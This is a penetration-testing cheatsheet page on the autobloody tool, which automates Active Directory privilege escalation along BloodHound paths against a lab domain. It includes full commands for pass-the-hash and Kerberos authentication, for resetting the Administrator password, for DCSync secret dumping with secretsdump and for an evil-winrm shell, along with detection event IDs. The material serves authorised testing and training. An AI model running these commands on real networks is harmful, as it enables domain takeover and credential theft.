daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

autobloody.md (19369B)


      1 ---
      2 title: "Autobloody"
      3 description: "autobloody automates BloodyAD privilege-escalation paths from a BloodHound/Neo4j graph, chaining the ACL edges end-to-end to reach a target principal."
      4 category: active-directory
      5 subcategory: "Tooling & Recon"
      6 tags: [active-directory, ldap, acl-abuse]
      7 tools: [autobloody, BloodyAD, BloodHound, Neo4j]
      8 difficulty: intermediate
      9 updated: "2026-08-11"
     10 source: "vault:ActiveDirectory/Autobloody.md"
     11 ---
     12 
     13 # Autobloody
     14 
     15 **autobloody** automates the privilege-escalation path BloodHound already draws for you. Point it at an owned start principal and a target, and it computes the cheapest route through the graph in Neo4j, then walks that route edge-by-edge, firing each ACL write through **bloodyAD** until the target is yours — one command instead of a dozen manual `bloodyAD` calls. Reach for it when BloodHound shows a clean multi-hop chain of *writable* edges you want executed end-to-end; drive bloodyAD by hand (see the BloodyAD sheet) when you want a single edge, need to cherry-pick or pause between steps, or the path crosses a non-writable edge (`AdminTo`, `HasSession`, `CanRDP`) that autobloody cannot traverse.
     16 
     17 > **Example lab (swap these constants) —** `--host dc01.sequel.htb` / `10.10.11.51` (DC) · `-d sequel.htb` (domain) · `-u ryan` · `-p 'Passw0rd!'` (you) · Neo4j at `bolt://localhost:7687` with `-du neo4j` `-dp 'neo4jpass'` · BloodHound nodes are UPPERCASE `NAME@DOMAIN`, e.g. start `RYAN@SEQUEL.HTB` → target `DOMAIN ADMINS@SEQUEL.HTB`. Every command is written in full.
     18 
     19 ## 1. How It Works
     20 
     21 autobloody runs in two stages from a single invocation: it plans over the graph, then executes over LDAP.
     22 
     23 ```text
     24    owned start (-ds)                                 target (-dt)
     25    RYAN@SEQUEL.HTB                          DOMAIN ADMINS@SEQUEL.HTB
     26         │                                              ▲
     27         ▼                                              │
     28  ┌───────────────────────────────────────────────────────────────┐
     29  │ STAGE 1 — Neo4j pathfinding (Dijkstra; GDS if installed)       │
     30  │   weighted shortest path over WRITABLE ACL edges only          │
     31  │   → ordered edge list, e.g. AddSelf → GenericAll → MemberOf    │
     32  └───────────────────────────────────────────────────────────────┘
     33         │  ordered edge list
     34         ▼
     35  ┌───────────────────────────────────────────────────────────────┐
     36  │ STAGE 2 — bloodyAD execution (LDAP/LDAPS to --host DC)         │
     37  │   prompt to confirm  →  walk each edge, write it               │
     38  │   (skip the prompt with -y)                                    │
     39  │   on completion: auto-rollback the reversible writes           │
     40  └───────────────────────────────────────────────────────────────┘
     41 ```
     42 
     43 Stage 1 never touches the DC — it is pure Neo4j math over the BloodHound graph, so the source and target you pass are Neo4j node labels, not live AD objects. Stage 2 authenticates to the DC as your start principal and performs the real writes.
     44 
     45 > **Note — Automatic rollback is partial.** On completion autobloody reverts the writes it can — group adds, DACL grants, shadow-credential writes — but per the README it "clean[s] what is reversible (everything except `ForcePasswordChange` and `setOwner`)." A password reset and an ownership takeover are left in place. There is **no** `--no-rollback` flag in v1.1.0; the only user-facing control is `-y`/`--yes`, which skips the pre-apply confirmation prompt (rollback still runs afterwards).
     46 
     47 ## 2. Install
     48 
     49 autobloody is on PyPI (v1.1.0, Oct 2025). It pulls in `bloodyAD` and the `neo4j` driver automatically.
     50 
     51 **pipx (isolates deps):**
     52 
     53 ```bash
     54 pipx install autobloody
     55 ```
     56 
     57 **pip:**
     58 
     59 ```bash
     60 pip install autobloody
     61 ```
     62 
     63 **From source:**
     64 
     65 ```bash
     66 git clone --depth 1 https://github.com/CravateRouge/autobloody && cd autobloody && pip install .
     67 ```
     68 
     69 > **Note — Neo4j is a hard prerequisite.** autobloody plans over a running Neo4j that already holds BloodHound-ingested data. Install the Neo4j **GDS** (Graph Data Science) library for markedly faster pathfinding on large graphs. See section 3.
     70 
     71 ## 3. Prerequisites & Setup
     72 
     73 Three things must be true before autobloody can plan and execute: Neo4j is up with the graph loaded, the start/target labels exist in that graph, and you actually hold the start principal's credentials.
     74 
     75 **1. Start Neo4j:**
     76 
     77 ```bash
     78 sudo neo4j start
     79 ```
     80 
     81 **2. Collect and ingest the graph (bloodhound-python → BloodHound → Neo4j):**
     82 
     83 ```bash
     84 bloodhound-python -d sequel.htb -u ryan -p 'Passw0rd!' -ns 10.10.11.51 -c All --zip
     85 ```
     86 
     87 **3. Confirm the exact node labels exist (labels are case-sensitive):**
     88 
     89 ```bash
     90 cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n) WHERE n.name IN ['RYAN@SEQUEL.HTB','DOMAIN ADMINS@SEQUEL.HTB'] RETURN n.name"
     91 ```
     92 
     93 **4. (Optional) Mark the start node Owned:**
     94 
     95 ```bash
     96 cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n {name:'RYAN@SEQUEL.HTB'}) SET n.owned = true"
     97 ```
     98 
     99 Marking the start Owned is good BloodHound hygiene, but v1.1.0 selects the start explicitly with `-ds`, so the Owned flag is not strictly required — the label just has to exist and match. You must supply the start principal's own creds (`-u`/`-p`, `-k`, or `-c`): bloodyAD performs every write *as that identity*, so if `-ds` is `RYAN@SEQUEL.HTB` you authenticate as `ryan`.
    100 
    101 > **Warning — BloodHound CE vs legacy is not turnkey.** autobloody queries a Neo4j graph in the **legacy** BloodHound schema, and the README only hints at CE support via a *separate repository/branch*. Treat CE as conditional: ingest with legacy BloodHound for the main tool, and always verify your labels resolve with the `cypher-shell` check above before trusting a "no path" result.
    102 
    103 ## 4. Authentication
    104 
    105 The auth block is bloodyAD's, plus the three required DB flags (`-ds`, `-dt`, `-dp`) on every line so each command is runnable as-is. Pick the line matching your creds.
    106 
    107 **Cleartext password:**
    108 
    109 ```bash
    110 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    111 ```
    112 
    113 **Pass-the-Hash (`LMHASH:NTHASH`):**
    114 
    115 ```bash
    116 autobloody -d sequel.htb -u ryan -p 'aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    117 ```
    118 
    119 **Kerberos with an existing ccache:**
    120 
    121 ```bash
    122 export KRB5CCNAME=/home/kali/ryan.ccache
    123 autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    124 ```
    125 
    126 **Kerberos, request the TGT from a password:**
    127 
    128 ```bash
    129 autobloody -k -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    130 ```
    131 
    132 **LDAPS (TLS) — prefer this so writes aren't cleartext:**
    133 
    134 ```bash
    135 autobloody -s -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    136 ```
    137 
    138 **Certificate (Schannel client-cert over LDAPS):**
    139 
    140 ```bash
    141 autobloody -s -c 'ryan_key.pem:ryan_cert.pem' -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    142 ```
    143 
    144 `-c` selects certificate auth; its value is bloodyAD's `key:cert` pair (PEM key, then cert). Confirm the exact order/separator with `autobloody -h` if auth fails.
    145 
    146 **Kerberos over LDAPS, wrapped in faketime to defeat DC clock skew:**
    147 
    148 ```bash
    149 faketime "$(ntpdate -q dc01.sequel.htb | cut -d ' ' -f 1,2)" autobloody -k -s -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    150 ```
    151 
    152 > **Warning — Kerberos clock skew.** `-k` throwing `KRB_AP_ERR_SKEW`? Wrap the whole command in faketime, exactly as with bloodyAD:
    153 > ```bash
    154 > faketime -f '+7h30m' autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    155 > ```
    156 
    157 ## 5. Flag Reference
    158 
    159 autobloody's own flags drive Neo4j and the run; the rest are bloodyAD's auth flags, inherited verbatim.
    160 
    161 ### autobloody & Neo4j flags
    162 
    163 | Flag | Meaning |
    164 | :-- | :-- |
    165 | `-ds`, `--dbsource` | Case-sensitive BloodHound label of the owned **start** node, e.g. `RYAN@SEQUEL.HTB` (required; replaces the old `--setstart`) |
    166 | `-dt`, `--dbtarget` | Case-sensitive BloodHound label of the **target** node, e.g. `DOMAIN ADMINS@SEQUEL.HTB` (required; replaces the old `--settarget`) |
    167 | `-dp`, `--dbpassword` | Neo4j password (required) |
    168 | `-du`, `--dbuser` | Neo4j username (default `neo4j`) |
    169 | `--dburi` | Neo4j Bolt URI (default `bolt://localhost:7687`) |
    170 | `-y`, `--yes` | Auto-apply the path — skip the pre-apply confirmation prompt |
    171 | `-v` / `-vv` | Verbosity: `-v` = INFO, `-vv` = DEBUG (count-based; replaces the old `-v {QUIET,INFO,DEBUG}`) |
    172 | `--timeout` | Connection timeout in seconds (default `60`) |
    173 | `-h`, `--help` | Show help and exit |
    174 
    175 ### Inherited bloodyAD auth flags
    176 
    177 | Flag | Meaning |
    178 | :-- | :-- |
    179 | `--host` | DC hostname **or** IP (required) — there is no separate `--dc-ip` |
    180 | `-d`, `--domain` | Domain for NTLM auth |
    181 | `-u`, `--username` | Controlled start principal |
    182 | `-p`, `--password` | Cleartext password or `LMHASH:NTHASH` |
    183 | `-k`, `--kerberos` | Kerberos auth (wrap in faketime on clock skew) |
    184 | `-c`, `--certificate` | Certificate-based auth; value is bloodyAD's `key:cert` pair (verify exact order/separator with `autobloody -h`) |
    185 | `-s`, `--secure` | LDAP over TLS (LDAPS) |
    186 
    187 > **Note — The old interface changed.** v1.1.0 renamed start/target to `-ds`/`-dt` (case-sensitive labels), made verbosity count-based (`-v`/`-vv`), and **removed `--no-rollback`** — rollback is now automatic and partial (section 10). `--host` takes a hostname or an IP; there is no `--dc-ip`.
    188 
    189 ## 6. Core Usage
    190 
    191 One command computes the path and executes it. Start from the canonical form and add flags as needed.
    192 
    193 **Canonical one-liner — start → target, all DB constants explicit:**
    194 
    195 ```bash
    196 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb --dburi bolt://localhost:7687 -du neo4j -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    197 ```
    198 
    199 **Verbose — watch each edge fire (DEBUG):**
    200 
    201 ```bash
    202 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB' -vv
    203 ```
    204 
    205 **Auto-apply — skip the confirmation prompt (closest thing to the retired `--no-rollback`, but rollback still runs):**
    206 
    207 ```bash
    208 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB' -y -vv
    209 ```
    210 
    211 **Non-default Neo4j host + longer timeout for a large graph:**
    212 
    213 ```bash
    214 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb --dburi bolt://127.0.0.1:7687 -du neo4j -dp 'neo4jpass' --timeout 120 -ds 'RYAN@SEQUEL.HTB' -dt 'ADMINISTRATOR@SEQUEL.HTB'
    215 ```
    216 
    217 Default behaviour prompts once, after printing the path, before any write — read the plan, then confirm. `-y` removes that gate, so use it only when you have already reviewed the path and accept that a `ForceChangePassword`/`setOwner` hop will persist.
    218 
    219 > **Warning — `-y` fires writes with no prompt.** With `-y` autobloody executes the whole path immediately. If the cheapest path runs through a password reset on a real account, that account's password changes for good (rollback won't restore it). On an engagement, review the path first and coordinate before auto-applying.
    220 
    221 ## 7. Worked Example — RYAN → Domain Admins
    222 
    223 Escalate `ryan` to Domain Admins on a sequel.htb-style box. autobloody finds the path, you confirm, it walks each edge, then it rolls back what it can.
    224 
    225 **1. Run it (verbose so the plan and each edge are visible):**
    226 
    227 ```bash
    228 autobloody -d sequel.htb -u ryan -p 'Passw0rd!' --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB' -v
    229 ```
    230 
    231 Output (illustrative):
    232 
    233 ```text
    234 [*] Neo4j: connected to bolt://localhost:7687
    235 [*] Pathfinding RYAN@SEQUEL.HTB -> DOMAIN ADMINS@SEQUEL.HTB
    236 [+] Shortest path found — 3 edges, total cost 3.0:
    237       RYAN@SEQUEL.HTB
    238         --(AddSelf)-->       MANAGEMENT@SEQUEL.HTB
    239         --(GenericAll)-->    ADMINISTRATOR@SEQUEL.HTB
    240         --(MemberOf)-->      DOMAIN ADMINS@SEQUEL.HTB
    241 [?] Execute this path against dc01.sequel.htb? [y/N] y
    242 [*] 1/3  AddSelf       -> add RYAN to MANAGEMENT@SEQUEL.HTB
    243 [+]      RYAN is now a member of MANAGEMENT
    244 [*] 2/3  GenericAll    -> ForceChangePassword on ADMINISTRATOR@SEQUEL.HTB
    245 [+]      ADMINISTRATOR password set to: aUtoBl00dy_9f3c!
    246 [*] 3/3  MemberOf      -> ADMINISTRATOR already in DOMAIN ADMINS (no write)
    247 [+] Target reached: RYAN -> DOMAIN ADMINS via ADMINISTRATOR
    248 [*] Rolling back reversible writes...
    249 [+]      reverted AddSelf: removed RYAN from MANAGEMENT
    250 [!]      kept ForceChangePassword on ADMINISTRATOR (not reversible)
    251 [*] Done in 4.1s
    252 ```
    253 
    254 **2. Authenticate as the target.** The group add was rolled back, but the password reset was not — so your foothold is Administrator's new password. Validate it:
    255 
    256 ```bash
    257 netexec smb 10.10.11.51 -u administrator -p 'aUtoBl00dy_9f3c!'
    258 ```
    259 
    260 **3. Dump the domain (DCSync):**
    261 
    262 ```bash
    263 secretsdump.py sequel.htb/administrator:'aUtoBl00dy_9f3c!'@10.10.11.51
    264 ```
    265 
    266 **4. Or take an interactive shell:**
    267 
    268 ```bash
    269 evil-winrm -i dc01.sequel.htb -u administrator -p 'aUtoBl00dy_9f3c!'
    270 ```
    271 
    272 > **Warning — The lasting change is the one it can't undo.** In this run the durable access comes from the irreversible `ForceChangePassword`, not the rolled-back group add. That reset **breaks Administrator's real password** — note the original/DR where you can, and prefer a reversible edge (shadow credentials via bloodyAD by hand) when stealth or account continuity matters.
    273 
    274 ## 8. Pathfinding — Executable Edges
    275 
    276 autobloody only walks edges bloodyAD can turn into an LDAP write. If Stage 1's cheapest path relies on a non-writable edge, autobloody cannot execute it — you bridge that hop by hand, then re-run from the new node.
    277 
    278 | BloodHound edge | autobloody | Why |
    279 | :-- | :-- | :-- |
    280 | `GenericAll` / `GenericWrite` | executes | DACL / attribute write |
    281 | `WriteDacl` / `WriteOwner` / `Owns` | executes | rewrite DACL / take ownership (`setOwner` not rolled back) |
    282 | `ForceChangePassword` | executes | password reset (not rolled back) |
    283 | `AddMembers` / `AddSelf` / `MemberOf` | executes | group `member` write |
    284 | `AllExtendedRights` | executes | extended-rights write |
    285 | `DCSync` (`GetChanges` / `GetChangesAll`) | executes | grant / replicate secrets |
    286 | `Contains` | executes | container write |
    287 | `ReadGMSAPassword` | executes | read the managed password |
    288 | `AdminTo` / `HasSession` | skipped | host-level, not a directory ACL |
    289 | `CanRDP` / `CanPSRemote` / `ExecuteDCOM` | skipped | access right, no LDAP primitive |
    290 | `SQLAdmin` / `HasSIDHistory` / `GPLink` | skipped | no bloodyAD write for it |
    291 
    292 To fire any single edge by hand — or to bridge a `skipped` hop before re-running — use the ACL Edge Playbook in the BloodyAD sheet, which maps each BloodHound edge to the exact `bloodyAD` command.
    293 
    294 ## 9. Troubleshooting
    295 
    296 Most failures are Neo4j, labels, or the clock — in that order.
    297 
    298 **Neo4j connection refused / auth failure.** Confirm the service is up and the Bolt URI and creds are right; test independently:
    299 
    300 ```bash
    301 cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "RETURN 1"
    302 ```
    303 
    304 Pass a non-default location with `--dburi`, `-du`, `-dp`; raise `--timeout` on a slow or large DB.
    305 
    306 **"No path found" / empty result.** Almost always the labels. `-ds`/`-dt` are **case-sensitive** and must match BloodHound exactly — UPPERCASE `NAME@DOMAIN`, groups spelled in full (`DOMAIN ADMINS@SEQUEL.HTB`). Verify:
    307 
    308 ```bash
    309 cypher-shell -a bolt://localhost:7687 -u neo4j -p 'neo4jpass' "MATCH (n {name:'DOMAIN ADMINS@SEQUEL.HTB'}) RETURN n.name"
    310 ```
    311 
    312 If the labels are right and there is still no path, no *all-writable* route exists — every candidate path leans on a non-executable edge (section 8). Widen collection (`-c All`) and re-ingest, or bridge the missing hop manually.
    313 
    314 **Kerberos `KRB_AP_ERR_SKEW`.** DC clock skew. Wrap the run in faketime:
    315 
    316 ```bash
    317 faketime "$(ntpdate -q dc01.sequel.htb | cut -d ' ' -f 1,2)" autobloody -k -d sequel.htb -u ryan --host dc01.sequel.htb -dp 'neo4jpass' -ds 'RYAN@SEQUEL.HTB' -dt 'DOMAIN ADMINS@SEQUEL.HTB'
    318 ```
    319 
    320 **A path step "cannot be exploited".** Stage 1 handed Stage 2 an edge bloodyAD can't write (e.g. `AdminTo`). autobloody stops at that hop. Perform it out-of-band — pivot onto the host, or use the sibling technique — then re-run autobloody with `-ds` set to the node you now control.
    321 
    322 ## 10. OPSEC & Cleanup
    323 
    324 autobloody's writes are bloodyAD's writes; they generate the same directory events, and its rollback is automatic but incomplete. The event IDs below are general, indicative AD telemetry — not autobloody-specific — and exact IDs vary; group-membership events in particular depend on group scope (e.g. `4728` global, `4756` universal, `4732` domain-local).
    325 
    326 > **Warning — Reverse what autobloody won't.** Rollback runs by default and undoes reversible writes (group adds, DACL grants, shadow-cred links), but per the README it cleans only what is reversible — everything except the `ForcePasswordChange` and `setOwner` operations. In BloodHound terms that leaves the `ForceChangePassword` password reset and any ownership takeover in place. After any run that used those edges, clean up by hand: restore/reset the password to an agreed value and hand ownership back with `bloodyAD set owner`. There is no `--no-rollback`; `-y` only skips the prompt.
    327 
    328 | Action (edge) | Log | Noise |
    329 | :-- | :-- | :-- |
    330 | DACL / owner write (`GenericAll`/`WriteDacl`/`WriteOwner`/`Owns`) | 5136 / 4662 | Medium |
    331 | Shadow-cred write (`GenericWrite`/`GenericAll` on a user) | 5136 (`msDS-KeyCredentialLink`) | Medium |
    332 | Password reset (`ForceChangePassword`) — not rolled back | 4724 / 4738 | High |
    333 | Group add (`AddMembers`/`AddSelf`) | 4728 / 4756 (scope-dependent) | Medium |
    334 | DCSync grant on the domain | 5136 on domain object | High |
    335 | Stage-1 pathfinding (Neo4j, local) | none on the DC | None |
    336 
    337 Prefer `-s` (LDAPS) so the writes aren't in cleartext, keep the confirmation prompt (don't reflexively `-y`) so you can bail before an irreversible hop, and remember Stage 1 is entirely local — nothing hits the DC until you confirm the plan.
    338 
    339 ## Sources
    340 
    341 - autobloody (CravateRouge): https://github.com/CravateRouge/autobloody
    342 - autobloody on PyPI: https://pypi.org/project/autobloody/
    343 - BloodyAD Wiki: https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
    344 - Kali tool page (bloodyAD): https://www.kali.org/tools/bloodyad/
    345 - BloodHound-CE docs: https://bloodhound.specterops.io/